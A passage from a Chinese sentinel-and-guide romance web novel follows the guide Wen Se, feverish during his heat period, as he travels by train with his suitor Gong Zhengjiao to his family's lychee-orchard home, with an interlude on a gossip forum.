舒颖示意闻璱关注文档:“是的,星海能源和希冕创辉。” 文档上的专业图表闻璱其实看不太懂,但最终的总结是:以一区某种污染生物作为能源的可行性实验仍未通过。 这就说得通了——和污染区相关的事缺不了工会和白塔通力协作,星海能源资助公会,而希冕创辉是白塔的最大股东,这个项目才是让两方合作的原因,或者说,是项目背后带来的巨大利益。 “项目组信息高度保密,我不知道,就算知道也不能告诉你,但我很感兴趣这个课题,也有些想法,想要证实,就得深入一区。而且,我认为你可能会感兴趣。”舒颖的目光以此在闻璱和逄靥星的身上停留,最终,落在弓铮皎,或者说弓铮皎怀里的小黑身上。 她迟疑道:“关于窒息实验的,你看,能源实验的测试就包括生物影响,早期受验的小白鼠有一半以上都是窒息缺氧而死,我很好奇,为什么会专门进行这方面的实验。” 早在闻璱正式发病确诊之前,就是在一次任务中出现了精神体溺水的意外,至少这件事整个小队无人不知。 逄靥星指了指自己:“原来我是小白鼠?” “你别说话了。”冬歆亭低声劝他。 闻璱顺着舒颖的指示扫过那一段文本,越看眉头越是紧锁。 舒颖提供的线索很珍贵,说不定真的能沿此解开谜题,但闻璱几乎是立刻就联想到更深的一层。 如果事情按照最坏的可能性发展,结果会是他们能够承受的吗? 成年人的世界毕竟不是喊着“羁绊”冲出去挥舞拳头,一切困境就会迎刃而解的。 星海能源和希冕创辉,都是能量巨大的普通人资本。 更不用说,眼下来看,很大概率会是这两方巨擎的合作。 人力再强,难与资本掰手腕,闻璱甚至担心只是探索,都可能会为自己和身边人带来巨大的危机。 权冽补充道:“所以舒颖想要去一区进行一些实验,如果你愿意的话,可以和她一起去。” 沉吟片刻,闻璱还是那句话:“我考虑一下吧。” 舒颖也明白他的顾虑,点了点头,和权冽告辞了。 临走前,权冽最后提醒道:“不过这件事要抓紧时间了。” 闻璱还是说:“我明白。” 他当然知道这件事不能拖,且不说病情一天没有明了,闻璱一天不能放下心。资本接下来会不会有什么行动,作为其中一环的弓铮皎会怎样更是未知数。 这两人走后,闻璱仍然捏着文档认真研究,一时没人说话,玄关门口便安静下来。 弓铮皎低声问他:“要先去污染区一趟吗?” 回水盘镇当然是弓铮皎期待已久的行程,但在闻璱的正事前,一切都可以让步。 倒是闻璱,罕见地犹豫起来。 按说他不该也不能在此刻休息,可是,可是…… 回水盘镇的车票已经买好了。 改签很容易,退票的手续费也不算贵,和逄靥星、闻母沟通更是轻易,改变计画并不是一件困难的事。 可是,闻璱竟然不想改变这个计画。 没有任何比正事更要紧的理由,单纯的不想、不愿意。 逄靥星也难得认真一回:“先去把你的正事办了呗?水盘镇什么时候想回就回。” 他打量着闻璱的表情,竟然从眉梢眼角里读出一丝罕见的踌躇,顿时惊讶又瞟了一眼弓铮皎,脱口而出:“不是吧,闻璱,你也有恋爱脑发作的一天?” 弓铮皎立刻恶狠狠道:“你不说话不会死。” 但这话却突然触动了闻璱的心里的薄雾。 这段感情分明还没有正式开始,这很难说是一种恋爱脑的行为,但细细想来,或许这也确实是正确答案。 逄靥星不知道逄婆婆的事情,只以为,闻璱是为了“带男朋友回家见家长”,闻璱却觉得,这不是重点。 重点是他想要休息——而且,他真的有点享受弓铮皎总在身边喵喵嗷嗷地走来走去,时不时发点小疯的这种生活。 与其说是为了满足弓铮皎离转正又进一步的渴求,闻璱第一次意识到,自己也有点乐在其中了。 他一向肯定自己的精神需求,休息是必要的,满足感情需求也是必要的,他有点喜欢弓铮皎的追求行为,否则不会允许和放任。 闻璱立刻作出决定:“先回水盘镇。” 话音一落,小黑就醒了一秒——从弓铮皎怀里扑回了闻璱怀里,然后光速再次入睡。 闻璱忍不住唇角一弯。 恋爱脑说起来太奇怪,就当是为了满足小黑的需求。 不管这是不是精神胜利法,总之,他这样做出决定,不会后悔。 刚才仓促之间,几人一直站在门口聊天,谁都没想着要不合群地乱转;现在尘埃落定,逄靥星才顾得上打量着弓铮皎的客厅,惊叹道:“有钱真好啊,我要是有钱我也要买这样的大house。” 刷分多年不是打白工,逄靥星自己置办的房产也不差,但和弓铮皎家显然是没法比。 弓铮皎很冷淡地“嗯”了一声,心道:这才是容易被金钱玷污的灵魂。 闻璱才注意到他俩仍然呆在这里,毫不客气地问:“你们还有什么事吗?” 冬歆亭:“没了。” 逄靥星:“有。” 两人对视一眼,逄靥星道:“我就是跟你说一声,你选取的对比对象要多样化一点,比如权冽。”他指了指门,彷佛权冽和舒颖还站在那里,“我好歹只是让你突然知道婚讯,再炸裂,总好过一声不吭地,下次见面就抱出来一个小孩,对不对?” 弓铮皎、冬歆亭:“……” 闻璱指门:“你确实该闭嘴了,再不走我放猫咬你。” 逄靥星:“你养猫了?” 话音未落,一声震耳欲聋的雷鸣咆哮——阿咬巨大的身形就出现在玄关。 这种体型巨大的猛兽精神体通常不被允许在城市放出来,又由于阿咬撒娇时毫不注意场合,主人在家里也很小心眼地只把它放在精神图景里,防止耍帅时被精神体犯蠢行为背刺。 现在,阿咬终于短暂地获得自由,它也知道自由的原因:给闻璱撑场子。 刃齿虎的身形实在太过庞大,对着逄靥星哈气时,逄靥星不得不承认自己的北极熊体型还是略逊一筹。 但这并不至于让逄靥星被吓晕,他反而斗志昂扬,想和这位前所未有的强敌碰一碰。 ——直到耳畔传来“滋啦滋啦”的电流声,逄靥星余光一瞥,发现是破裂的电击环。 亮着两格灯的那种。 而弓铮皎把它绕在指尖,真当一个普通的项圈roll着玩。 逄靥星:“……我这就走了,哥,别太想我,明天见!” 冬歆亭推着他闪出了门。 明天见,因为按照计画,明天他们三个人结伴坐列车回水盘镇老家。 只是闻璱没想到,临行之前,舒颖给自己送来一份这么重磅的情报。 阿咬圆满完成任务,转头就腻歪地趴在地上蹭起闻璱的腿。 闻璱也低头摸了摸久违的大猫。 人手对比起刃齿虎的大脑袋,显得比例过分悬殊,阿咬似乎无法满足,抬起头有些狂躁地蹭着闻璱掌心,索求更多。 它还没来得及张开嘴,就被弓铮皎赶回精神图景去了,用完就扔,毫不留情。 弓铮皎突然说:“我有一个很不好的预感。” 他看了眼时间,道:“现在是星期日中午十一点半,这会正是白塔周边繁忙的时候,刚刚阿咬没注意音量,逄靥星也没乔装打扮……” “半小时后,可能论坛上就会出现【特大新闻!某饺某熊市区内大打出手为哪般】的帖子。” 他现在是彻底摸透论坛了。 然而,弓铮皎说这话似乎只是为了提醒闻璱,好让闻璱有个心理准备。 他自己似乎并不为此苦恼,说完就“哼”地笑了一声,拿出终端继续打字:“那我的CRUSH日记要赶在这之前发出去,省得到时候大家都吃瓜去了,没人来欣赏绝美爱情……” 结果下一秒,他就惨叫一声:“今日发帖回帖次数已用完!可恶!” 第65章 前任首席为爱做奴。 【特大新闻!某饺某熊市区内大打出手为哪般】并没有出现,因为弓铮皎还是低估了论坛的夸张程度。 真正霸占论坛主页的是:【虎哮熊逃!前后两任首席的婚外情伦理大战!】 闻璱:“……” 点开帖子,果然如弓铮皎所说,有路过的哨兵听到阿咬的声音,又目击了逄靥星和冬歆亭离开闻璱工作室的画面,立刻就发帖添油加醋地描述了当时的场面。 【一声巨响,我还以为大晴天的打雷了,然后两个人从ws的工作室冲出来,我定睛一看,那不是某熊和某蝶吗?而且某熊衣冠不整,衣冠不整!!!】 【难道蝶把他出轨抓正着了?某人和熊工作室偷情被捉奸在床?y乱,太y乱了!】 太y乱了,闻璱立刻把页面关掉。 耐不住弓铮皎被y乱情节吸引进去,不住地往下滑: 【但后续是熊蝶一起走了,我只能说好言难劝该死的鬼,尊重祝福。】 【饺也是去捉奸的?那当事人都走了,他还一直呆在ws工作室,一整个下午?我天,他不会把ws打死吧?】 【ws呢?ws有出现吗?ws到底在不在工作室?】 【如果在的话,这是不是捞男和苦主靠山的第一次正式见面啊?之前好像一直都是熊代为出面。】 苦主靠山本人:……首先不是苦主,其次不是靠山。 正巧昨天得到了闻璱的许可,苦主靠山立刻换出大号的终端,回覆:【和彭枭不熟,和闻璱更熟,也没打人。再说我和彭枭熟的,来白塔街117号,降龙十八掌免费发放。】 蒸饺omo终于能够借此机会重出江湖,饺身从此分明了。 这回覆发出去之后,弓铮皎神清气爽地切回小号,打开CRUSH日记,喜提所有数据挂0。 弓铮皎:“……” 就算他昨晚熬夜到0点一过就发布帖子,抢在吃瓜帖之前更新完了十几个DAY,没品的网友仍然不愿意屈尊点进去“欣赏爱情”。 然而,就这短短几分钟的功夫,当弓铮皎用小号再次点开吃瓜帖时,发现自己刚才用大号的回覆被高亮置顶,评论又垒了数不清条,并在点击“展开”时仍然不断增加。 赞数最多的一条是:【就一个下午,ws果然手段了得啊。】 而在下面,又是无数条附和:【欲擒故纵?难道之前都是ws钓饺大公子play的一环?】 【饺大公子应该是ws池塘里最大的一条鱼了吧,啧啧。】 【大胆猜测有没有一种可能,ws的精神体其实是蜘蛛?他这个工作室简直是哨兵盘丝洞啊!】 【捞男怎么可能没点手段?更何况ws可是捞到应有尽有了,段位不是你我能想像的。】 【谁有ws的私下联系方式可以发我?让我来当先遣队,探探盘丝洞深浅,有福利也跟大家一起分享啊……】 弓铮皎立刻添加了最后这条图穷匕见回覆的账号。 对方果然第一句就是:【哪来的小号?】 大猫骑士:【你不是要联系方式吗?白塔街117号,我的地址。】 【你是闻璱?别搞笑了,谁不知道白塔街117号是闻璱工作室啊!】 大猫骑士:【我帮你先练习一下,让你知道,拳头砸在你脸上,痛到极致的时候,你只会闻到血味。】 弓铮皎还想再发,奈何已经被对方光速拉黑。 返回吃瓜帖下,那条心思不纯的回覆不只是做贼心虚,还是被好心人举报,已经消失了,只剩下几条带着ID的辱骂可以窥见号主曾在这里犯过贱的痕迹。 弓铮皎咬牙切齿地改变了以前暗搓搓秀恩爱,等得到论坛祝福了再爆个大的计画,立刻在自己的CURSH日记里消耗掉了今天的最后一条发回帖次数:【好吧我不装了,我CRUSH是闻璱,你们喜欢闻璱可以直说,但是谁再敢对闻璱发烧犯贱先掂量掂量自己的份量,我使命必达!】 发完这条帖子,刚好列车进入山洞,信号彻底断联。 弓铮皎咬牙切齿地放下终端。 但转过头去时,已经又换成了淡泊宁静的微笑:“要喝点什么吗。” 床上鼓起一个小包,闻璱缩成一团卧在其中,只把半颗脑袋露出来,散开的发丝略显淩乱,间隙里露出略微泛红的皮肤。 他带着鼻音道:“去打点热水就行。” “好。”弓铮皎应了一声。 包厢门开关的声音不小,包厢外的走廊空间更是嘈杂,幸好弓铮皎全套防护齐全,口罩里另一层口罩,耳罩里面还有橡胶耳塞。 过了一会,弓铮皎的脚步声渐渐远了,那团被子里又发出很小、很含糊的声音:“还想吃辣椒酥。” 大概闻璱确实是代偿得太过分了,今天一早醒来,他的热潮期提前到来,但被放大的欲望是嗜睡欲。 过量的疲惫操心,和生理性的睡眠欲望在他身体里打架,左右互搏最终结果就是,他发起低烧来。 病情不算严重,但病因特殊,吃感冒药也没用。 闻璱觉得自己说不上难受得走不动,于是力排众议没有改签去往水盘镇的列车——或许也正是因为他仍然选择不休息,所以身体才会用发烧的手段来反抗。 总之,他现在是意识昏沉,又困又晕,彻底走不动了。 绩州的小机场没有和首都往返的直达航班,这趟列车也弯弯绕绕,一路停靠站点不少,全程要花费十多个小时。 闻璱很想快点睡着,但这趟列车上的包厢比起污染区特种人专列上的隐藏包厢 ,只能说是条件尚可,他总觉得哪里有什么不对劲,却又说不出个所以然来。 或许是套着一次性三件套的被子枕头干净是干净了,但没有弓铮皎家客房的真丝三件套那么柔软顺滑;车窗虽然已经拉上了帘子,但轻薄的布料毕竟不如弓铮皎家客房的窗帘遮光效果好。 更不用说列车运行的噪音,走廊上人来人往的脚步声…… 被享乐主义侵蚀果然是不可逆的。 迷糊之间似乎没过多久,车速越来越慢,逐渐停下,大概是到站了。 弓铮皎仍然没有回来。 又过了一会,列车再次动起来。 弓铮皎还是没回来。 终于不知道多久过去,闻璱感觉身侧微微一陷。 他翻过身,迷糊道:“怎么去了这么久。” 弓铮皎只顾说:“对不起。” 被子被团了又团,闻璱觉得自己被裹得像个粽子,弓铮皎扶着他坐起来时,他连双手都拿不出来,只能靠在弓铮皎肩头。 他没睁眼,颐指气使道:“渴了。”然后微微张嘴。 弓铮皎便把刚才接的热水凑到他唇边,细心地兑了适量凉水,又插上一根吸管,体贴如专业护工。 喝完之后,闻璱就想躺下继续睡。 然而,一颗什么东西凑到他唇边蹭了蹭,弓铮皎小声哄道:“小鹅,张嘴。” 闻璱警惕地睁开眼,发现居然是一颗他刚才点名要的——辣椒酥。 这零食餐车上也有卖的? 怔住的片刻,弓铮皎还以为他是洁癖发作,连忙抬了抬手:“我戴一次性手套了。” 闻璱:“餐车还卖这个?” “不卖。”弓铮皎说,“但外卖能买到,收货地址填到车站,刚才到站我下去拿的。” 真是灵活变通,也真是精力旺盛——列车到站就停几分钟,真亏得他能跑动。 “等等。”闻璱突然想起,“你翻越检票口了?没有引起恐慌?” “我没翻越,是阿咬翻的。”弓铮皎笑了一下,“钱到位,代购不会为这种小事举报我的。” 用钱能解决的问题就不是问题,弓大少爷的生活技能和经验未必丰富,但用钱的手段绝对熟练。 闻璱:“……” 算了,太困了,就这样吧。 他这才张嘴把辣椒酥叼住,“咔擦咔擦”地嚼。 生病的人嘴里没什么味道,虽然热潮期导致的发烧并不能按照寻常发烧论处,闻璱仍然觉得,这一口辣椒酥让他灵魂归位。 第二粒入口时,“哗”地一声,车门被人从外面拉开了。 “闻——” 话还没说完,弓铮皎抬手做出“嘘”的动作:“小点声。” 逄靥星惊讶地挤进来,和弓铮皎一样包得像个恐怖分子,见闻璱昏昏沉沉的样子,不得不拉下口罩,用口型说:“这是怎么了?昨天还好着呢。” “热潮期提前了。”弓铮皎替闻璱回答。 “哦,热潮期啊,那就不奇怪了。”逄靥星点了点头,“闻璱每年热潮期都这样,狂睡,不知道的以为他精神体是树懒呢。” “每年都这样?”弓铮皎道,“所以说,闻璱该休息休息了。” 闻璱刚才一直闭着眼睛嚼嚼嚼,正好咽下食物,不冷不热道:“别背着我说悄悄话。” 一想就知道这两人肯定又在用口型交流,只可惜,闻璱就是懒到连眼皮都不想抬。 话音刚落,弓铮皎立刻把新的一颗辣椒酥递到唇边,闻璱思考了一下,还是放纵地张嘴咬住,含糊道:“不要了,困。” 于是,弓铮皎立刻把食物收拾了放好,摘下的手套被扔进垃圾桶,而小桌板上的密封袋里还有好几袋未拆封的一次性手套。 逄靥星欣赏了一会,抱着胳膊啧啧了两声,用口型对弓铮皎说:“前任首席为爱做奴,现任首席被兄压迫,就让闻璱这个向导把哨兵如此拿捏,我们哨兵的未来真是一片光明坦荡啊。” 富有冲击力的文本让弓铮皎很是反应了一下,用排除法才能确认逄靥星说的只能是“为爱做奴”。 一时间又是尴尬又是好笑,弓铮皎忍笑不易,故意发出声音:“你别这么说,闻璱说他不是S。” 逄靥星当场吹胡子瞪眼:“你怎么说出来了?你说出来他当然不会承认啊!” 果然,闻璱不安宁地睁开眼,幽幽地看向门口:“你又胡说什么了?” 然而逄靥星已逃得没影。 闻璱这才闭上眼。 他迷糊了一会儿,依稀之间,总能听到弓铮皎抚摸小黑羽毛的声音,本该在列车的环境噪音里被吞没,却在闻璱的耳中格外鲜明,似乎在提醒他什么。 终于在某个瞬间——他突然明白哪里不对劲了,猛然睁开眼。 弓铮皎凑上来:“怎么了?不舒服吗?” 闻璱晃晃悠悠地爬起来,倔强地挥开弓铮皎的手,执意自己扒拉背包翻找:“好宝宝睡前都要刷牙,我是牙医,我要刷牙……” 第66章 爱他的人总是会看到相似的他。 很难伺候的闻璱强撑着非要去刷牙洗漱,耗尽了最后的一点精力。 弓铮皎陪他跑了一趟,见他前一秒还云淡风轻,十分独立自主地脱鞋上床,后一秒当场昏睡,忍不住眉眼弯弯。 也终于让弓铮皎找到了这个钻空子的机会。 他美名其曰替闻璱盖好被子防止着凉,实则用被子彻底把闻璱包成一枚可颂形的饺子,只露出因低烧而泛红的脸,乖得罕见。 ……完全就是在闻璱宿舍和睡袋里那两次记忆的结合体。 把闻璱包装好之后,弓铮皎坐立难安,最终还是忍不住拿出终端—— 然后对床上的可颂饺子连拍了不知道多少张,机位覆盖所有角度,甚至包括用尾巴勾着行李栏把自己倒挂在天花板上。 一时间,弓铮皎的终端相册里全是各式各样的闻璱睡颜。 距离脸很近的睡颜特写、能数清睫毛根数的超近特写、全身入镜的各式看不懂拍摄者为何如此构图的照片……甚至还有几张脸上画了小动物特效的大头贴,是弓铮皎用刚下的拍照软件拍的,为了解锁可爱特效,他临时充了一个月会员。 弓铮皎抱着终端反覆欣赏,挑出来一张最喜欢的,用黑色小猫特效的照片,设置成了终端壁纸。 快门按下的一瞬,阳光透过窗帘正巧照在闻璱脸上,弓铮皎用尾巴挡住了眼睛处的光,然后那只尾巴比了个心,影子刚好映到闻璱身后的墙板,就像闻璱身后有个爱心光晕一样,简直完美。 他一边叹息闻璱还是不上镜,一边把所有照片都移入上锁相册…… 闻璱对此一无所知。 他睡得很好,一觉醒来虽然体温仍然偏高,但精神状态好了许多,可见热潮期即将结束。 他一睁眼,弓铮皎就关怀道:“醒得好准时,感觉怎么样?” 正是夕阳时刻,列车广播播报着即将到达终点站绩州站,弓铮皎已经把行李打包好,就差最后一件——闻璱。 不过看样子他并没有要提前叫醒闻璱的意思,大概如果闻璱没有自然睡醒的话,会被他像一件易碎行李一样捧着下车。 所以闻璱很庆幸自己醒了。 趁着列车减速,闻璱抓紧时间洗个了脸,又抽了一片漱口片含着。 薄荷的清凉让记忆此刻终于回笼,闻璱想起来自己睡前非要去刷牙,结果困得拿不住电动牙刷,最后还是弓铮皎当牙刷架子。 好尴尬,但这一切本可以不必发生,因为含一片漱口片就好了。 生病让人大脑迟缓,让阴险的人趁虚而入。 闻璱的目光落在弓铮皎身上,凉得像幽灵:“我睡觉的时候,你有没有干什么?” “啊?没什么啊……”弓铮皎显出一种亏心事被抓包的慌张,“就是,呃……” 闻璱眯了眯眼睛。 他说这话本来只是想藉机翻旧账,审一审弓铮皎为了给他刷牙故意装傻忘记漱口片的事,没想到看这反应是诈出了意外收获——弓铮皎居然还真的敢做什么? 弓铮皎心虚但又坦诚地拿出终端,春秋笔法道:“就,跟你自拍了几张。” 如果几百张也可以被粗略地算作“几”的话。 闻璱有点无语,他确实无意追究这种小事,最终只能把刷牙的事也轻轻放下。 过了一会,列车到站停车,逄靥星背着包过来,准备和他们一起下车。 他装模作样地捂住眼睛,实则五指伸展,指缝里明晃晃地露出来两只眨都不眨的眼睛,怪声怪气道:“我来了啊,喂食play可以暂停一下了啊。” 闻璱:“……” “什么喂食?”闻璱皱眉。 话音刚落,弓铮皎把那包用夹子塑封好的辣椒酥递到闻璱面前,颇带几分转移话题地问:“还吃吗?” 闻璱完全不记得还有这回事了——但细细想来也很合理,他为什么要去刷牙?肯定是因为吃了东西。 逄靥星吹了个口哨:“享受完就忘,我们哨兵真是……” 没来得及把话说完,他被突如其来放大了几十倍的噪音激得捂住耳朵,甚至不住干呕出声。 好在噪音来得突然去得也快,逄靥星站直时彻底消停了:“我闭嘴,我保证。” 有段时间没被闻璱教训过了,他下意识地油嘴滑舌起来。 闻璱扫他一眼,拎起自己的背包越过逄靥星下车。 不过没忘记捞走那包辣椒酥。 弓铮皎跟在闻璱身后,路过逄靥星时,逄靥星冲弓铮皎做了个口型:“你看,他超保守的。” “……”弓铮皎无语,“你真是纯粹的活该。” 轨道交通集运站就有定时发往水盘镇的大巴,他们运气很好,赶上了最后一班,而且没有其他乘客。 车上人少,让弓铮皎和逄靥星的呼吸能通畅些,闻璱便没花心思在调理哨兵感官上,安心地披上外套继续休眠。 等到他再次醒来时,天边已挂上了一轮弯月,而弓铮皎和逄靥星两人面如菜色,彷佛被吸干了精气。 水盘镇这些年变化不大,车站离逄闻璱家不算远,徒步走二十来分钟就能到。 一路上道建筑物不太多,道路两旁都是不同的果园,但种的都是同一种果树,如今正是丰收时节,枝叶里到处是漂亮的果实,只是夜色下不太鲜明。 都是荔枝树。 弓铮皎觉得自己不该意外,绩州盛产荔枝这件事他早就知道了,逄靥星说闻璱家是开果园的,他也早就知道了。 但是不知为何,他从来没有真的这样设想过。 原来把闻璱荔枝塑根本不是他的一厢情愿……闻璱本来就是在荔枝树下长大的小鹅。 可他为什么会那样想呢?明明第一次见闻璱时,他还不知道闻璱的家庭情况。 这个问题或许不需要深究一个回答。 他嘴角弯弯,步伐轻快,感觉乘车的感官疲劳都被一扫而空。 逄靥星没什么闲心看这看腻了的风景,打着哈欠祈祷:“希望妈妈有帮我把房间打扫好。” 否则他到家还得做卫生才能休息,对感官已经被折磨过一轮的哨兵真是酷刑。 闻璱微笑:“哦,我忘了跟妈妈说,你也回来了。” 逄靥星:“……” “你是故意的。”他很确信,“闻璱,你真的好毒。” “彼此彼此吧。”闻璱轻描淡写道。 闻璱家是一片搭理得还算精致的小院,看得出闻母很有生活情趣,置办的花花草草相得益彰,还在花墙边搭起一个简易秋千,放在城市里是会被诈骗式打卡的程度。 哪怕弓铮皎看过照片,远远地就认出了夜色里的那处小院就是自己的目的地,提前至少十分钟开始做心理准备——站在小院门口时,还是有种说不出的感觉。 这个小院里存储着他没见过的、闻璱的少年时期。 彷佛一个珍贵的宝藏,一本时间的相册,就放在眼前,等待他翻阅。 走近了才发现,这院子有种微妙的现代化与传统农家风相结合的风格。 譬如,院门口的LED灯下是密码锁,然而闻璱完全没有填密码的意图,抬手就去推门。 而那门也真的开了,可见密码锁完全是个摆设。 闻璱和逄靥星似乎对此毫无意外,逄靥星甚至三步并作两步走,直接进屋奔着自己房间去了,他想早点打扫卫生,早点睡觉。 弓铮皎却站在原地,一时不知道自己该不该进去。 闻璱回过头去,只见弓铮皎有些迟疑道:“家里没人,你妈妈不在家。” 乡下的夜晚比城市宁静、清新,弓铮皎在这里的感官压力很小,以至于他轻微地调动听觉,就能听到整个小院里的所有声音。 洗衣机运行的声音、逄靥星被灰尘呛得咳嗽的声音、微风拂过院里花草的叶片声、甚至是邻居睡觉的打呼声。 唯独没有一个中年女性活动的声音。 “可能是打麻将去了,很正常,一会她就回来了。”闻璱随口道,“也可能明天才回来,不过没关系,进来吧。” 他正忙着把睡得正香的小黑放在花丛里,弓铮皎仔细一看,秋千下面,那里竟然藏着一个隐藏的“窝”——之所以说“窝”,实在是因为那比起想像中的鸟巢,更像是一个可爱的猫窝,还铺着小毯子。 闻璱似乎知道弓铮皎在想什么,语气中带着几分无奈的笑意:“我妈妈给小黑做的,她看不到精神体,所以什么热门的宠物用品都网购回来给小黑搭窝,这些其实应该都是给猫猫狗狗用的,不过小黑还挺喜欢。” 他又指了指后院:“仓库里还有一个巨大版,是逄靥星那只北极熊的,他坚决拒绝使用。” 弓铮皎一点也不关心逄靥星如何如何,只是抻着脖子看小黑的窝,赞道:“好可爱啊。” 他上半身已经探到一个普通人很难想像如何保持平衡的角度,脚尖却还停留在院外,姿势实在离奇。 见闻璱不解地望过来,他有些为难:“你妈妈不在,我就直接进她的房子睡觉会不会不太好?要不我在外面等等?” 闻璱:“……” 他已经知道弓铮皎是怎么回事了,见家长恐惧症。 但这恐惧很不合理,因为闻璱只跟闻母说带朋友一起回家,并没有在“朋友”两个字之前,添加任何定语。 弓铮皎对此知情,既然如此,究竟有什么可恐惧的? 闻璱只得道:“这也是我家。而且,你要是在这里等,我妈半夜打完麻将回来,看到家门口有个阴森的男人,说不定会吓得立刻抄家夥——她年纪大了,心脏没你那么好哦。” 弓铮皎连忙改口:“那那她回来了我再……” 话说不下去了,因为闻璱只是自顾自地进了院子,然后站在那里抬起手,很温和地说:“进来。” 祈使句总是带着命令的意味。 弓铮皎喉头一滚,然后小心翼翼地走了进来,脚步轻得像是在雷区行走。 闻璱道:“你总是陷入误区。” 他看着弓铮皎,突然说:“你叔叔并不会因为我不请自来而讨厌我。” 弓铮皎理直气壮:“那当然了,他敢讨厌你?有我在,就算你是……” 他的话音戛然而止,在闻璱兴味盎然的目光中干笑两声,变成了:“就算你是个香饽饽,他也只会对你说谢谢。” “总之,你愿意接手我这个定时炸弹,他恨不得能把你供起来,怎么可能对你有一点意见?” 这倒是事实,弓铮皎的成长环境里,并没有给过他经验,关于常规的父母会如何对待孩子的朋友。 “嗯,我跟你说过,那不是爱,但你该知道,爱有时也会导向同样的结果。”闻璱轻声说,“我妈妈爱我,所以,她总是会爱屋及乌,对我爱的人,她也会以最大的善意去揣测。你不需要、也不应该过分讨好她——难道你以为家人的意见能胁迫我?” “当然没有!”弓铮皎急道,“而且你也不是那种人。” “那就对了。”闻璱点头,“尊重她,取悦我,这才是你需要做的事。” 弓铮皎怔怔地看着他,喃喃道:“明白了。” 这对他来说总是很陌生,可是爱屋及乌实在是很具体的一个词语——他看到小黑就心生喜爱,即便被小黑啃过,也觉得那牙印都透出可爱来,这都是因为小黑是闻璱的精神体。 如果换了一只寻常的鹅,只会当场成为阿咬的加餐。 他小心翼翼地进来,连脚印都没留下,随后跟随闻璱一起上楼,看着闻璱推开二楼的某一扇门。 浅色的壁纸,浅色的单人床,床边有一个原木色小书桌,书桌再过去是同色的衣柜。 很普通的房间。 书桌正对着敞开的窗户,闻璱的宿舍也布置成了这样。 桌角有一张立式相框,被一个小花瓶挡住了其中的照片。 说是花瓶或许不太恰当,那尺寸更像个造型特别的小玻璃杯,玻璃杯里装着清水,几颗鹅卵石般的荔枝核趴在杯沿,向下往水中蔓延出洁白的根系,向上是几支纤细而笔挺的小茎,伸展出浅粉色的、嫩生生的叶片。 是一小瓶水培荔枝,精心保持在避光环境里,才能呈现如此鲜嫩漂亮的浅粉色。 和闻璱眼瞳的颜色如出一辙。 弓铮皎突然想起来,他知道这是水培荔枝,因为曾经在哪里见过他才会去搜索,在哪里呢…… 在小黑屋里。 在冰块润泽他嘴唇的时候,也在闻璱用仪器收集他数据的时候,为了使用仪器,也为了控制住弓铮皎,他们的精神力早在那时就有过短暂的接触。 那一瞬,曾有这样的画面,在他意识深处一闪而过。 在微风里亭亭玉立的粉色叶片,飘动的窗帘像它的披风和裙摆,轻舞之间送来荔枝的香气。 原来那是属于闻璱的某片记忆。 第67章 当比格猫的比格成分大于猫。 关上窗之后,闻璱又带弓铮皎在屋里上下走了几圈认房间。 一层是客厅、餐厅,以及逄靥星的房间;闻璱、闻母和逄宵月的房间都在二层;三层的面积就小了很多,除了客房之外,只有一间小书房;四楼的室内面积就更小了,一间阁楼式的小储藏室外,是被闻母的花花草草填满的阳台。 弓铮皎当然住客房。 这房间朝阳,比闻璱的房间狭窄许多,家具也简单得过分,只有一床一桌而已。 但弓铮皎没什么不满意的,这里可是闻璱家。 而且他的空间感很好,这间房几乎就在闻璱房间的正上方,从窗户探出去往下看,说不定能看到闻璱的书桌,简直完美。 以至于闻璱前脚刚走,后脚弓铮皎立刻扒在窗前,半个身子都挂在外面。 果然能看到,只不过窗帘严丝合缝,只能看到那瓶漂亮的水培荔枝。 不知为何让他很舒心。 他收拾洗漱,临睡前又确认了一遍:明天天气晴,气温36摄氏度,略热,全天无阴无雨,他重金网购的拖拉机明早由专业人员准时送到。 而他为见面精心准备的衣服也平铺在擦过的桌子上,摊得平展,只等明天以最好的面貌见闻母。 临睡前,他掏出护手霜给耳后抹了一点,像是为了寻求什么安心。 然后几乎在一瞬之间就意识涣散,陷入了深度睡眠。 楼下的闻璱正用终端给闻母发消息:【今晚不回来了吗?】 闻母;【你回来了?】 闻璱:【已经到家了。】 之前他跟闻母说过自己大概回来的日期,闻母才提前把房间都收拾好了,只是大概没想到到家得这么晚。 闻璱又补充道:【逄靥星也回来了。】 闻母:【呀!】 闻母:【你怎么不跟我说一声?星星的房间我都没收拾呢。】 这条消息发来时,楼下刚好传来逄靥星被灰尘暴揍得打喷嚏的声音。 闻璱:【你可以现在回来帮他一起。】 闻母:【来了】 闻璱放下终端,简单收拾了下卫生,洗了个澡,又专门上楼打开门看了一眼。 向导素的效果很好,弓铮皎睡得很熟,像昏迷了一样,闻璱对此很满意——省得弓铮皎听到闻母回来的动静又半夜发疯。 介绍认识是明天的安排,闻璱现在只想跟她打个招呼就休息。 下楼时,闻母果然如约回来。 她手里提着一盒邻居家腌的酱蟹,嘴里叼着根快燃尽的香菸,在院门口就被踩熄了丢进垃圾桶里。 闻璱一早就听到她的动静,并非因为听力过人,而是闻母一直在外放听有声小说,他想不知道都难。 他迎出去,在闻母惊喜的目光里和她轻轻拥抱,顺手接过手里的那一袋酱蟹。 闻母随口道:“还以为今天回不来了呢。星星呢?小月回来没有?” “在他房间。没有。”闻璱不忘提醒她,“小说声音调小一点,有点扰民了。” “哎呀,我不知道星星也要回来嘛。”闻母干脆把小说关了。 闻璱道:“还记得我说有个朋友也一起回来吗?他也是哨兵。” “那我们家现在普通人才是少数派了哦。啊呀,不过你没说,我忘了给那间客房贴隔音棉。” “没关系,他已经睡下了,我会看着的。” 母子二人说着进了屋,逄靥星听到声音,也打开房间门出来,和闻母拥抱寒暄。 只可惜,闻母身上烟味没散,简单的拥抱都让逄靥星隔着口罩都被二手菸呛得咳出呕吐音。 抱过之后,逄靥星指控道:“弓铮皎都睡着了,而我还在做卫生?到底谁是娘家人,谁是来见家长的?” 闻母惊讶:“见家长?” 闻璱瞥了一眼逄靥星,敞亮道:“跟我回来的那个朋友,他喜欢我。” 闻母听了这话,见他态度坦然,心里反而平静下来。 闻璱外形优越,打小说要嫁给他或者娶他的小孩数就数不清,甚至被同龄小孩投票全票通过,赋予了他一份至上荣光——仅次于女孩子的,过家家“妈妈”角色优先选择权。 当事人本人深感荣幸,实则一次都没有行使过该优先权。 但当事人不过家家的妈妈听完乐不可支。 不过再有意思的事听多了,耳朵还是会起茧子。 因为闻璱对此毫无波动,完全没有任何被开玩笑该有的反应,就像现在。 逄靥星挤眉弄眼,只可惜表情全都被口罩和护目镜盖得严实,声音也闷闷的:“我看不然,闻璱的追究者能从咱家门口排到城里去,怎么就这个被带回来了呀?肯定有点特别。” 